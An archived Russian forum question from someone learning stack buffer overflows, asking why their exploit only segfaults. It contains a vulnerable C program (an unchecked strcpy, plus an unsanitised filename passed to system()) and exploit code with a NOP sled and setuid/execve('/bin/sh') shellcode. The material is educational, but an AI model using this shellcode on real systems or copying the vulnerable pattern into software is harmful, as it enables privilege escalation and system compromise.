Почитал статейки про переполнение буфера но до конца не получается.
Предположим есть прога :
char filename[30], cmd[600];
strcpy(filename, argv[1]); //copy into filename 1st argument
snprintf(cmd, 600, "ls |grep %s", filename);
//copy cmd-line to execute via system();
system(cmd); //execute
return 0;
}
Если переполнить filename то можно выполнить шеллкод.
С помощью gdb узнаю границу переполнения - получается ,что если записать
43 символа то прога вызывает segmentation fault/
в 43,44,45,46 байтах лежит адрес возврата.Если я допустим запихиваю в буфер тысячу нопов а потом шеллкод,то адрес возврата должен исказится так что будет указывать на эту кучу нопов ,которые исполнятся а потом выполнится и шеллкод.Но этого не происходит!Прога просто пишет segmentation fault........
вот код эксплоита:
char shellpre[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e\x89\xe3\x50"
"\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
int main() {
char attackbuf[1010];
memset(attackbuf,0x90,900);
int i;
sprintf(attackbuf+900,"%s",shellpre);
printf("Attaching shellcode...\n");
execl("util2", "util2" , attackbuf, NULL);

Ответ на:
комментарий
от anonymous

Ответ на:
комментарий
от anonymous

Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.
Похожие темы
- Новости XFree86 - переполнение буфера (2004)
- Новости mod_security - переполнение буфера (2004)
- Новости Samba: переполнение буфера (2003)
- Новости Переполнение буфера в jabberd2 (2005)
- Новости Переполнение буфера в CVS (2005)
- Новости Переполнение буфера в Konqueror (2006)
- Новости Переполнение буфера в Apache (2002)
- Новости Переполнение буфера для начинающих. (2004)
- Новости GNU screen - переполнение буфера (2003)
- Новости Переполнение буфера в Exim (2003)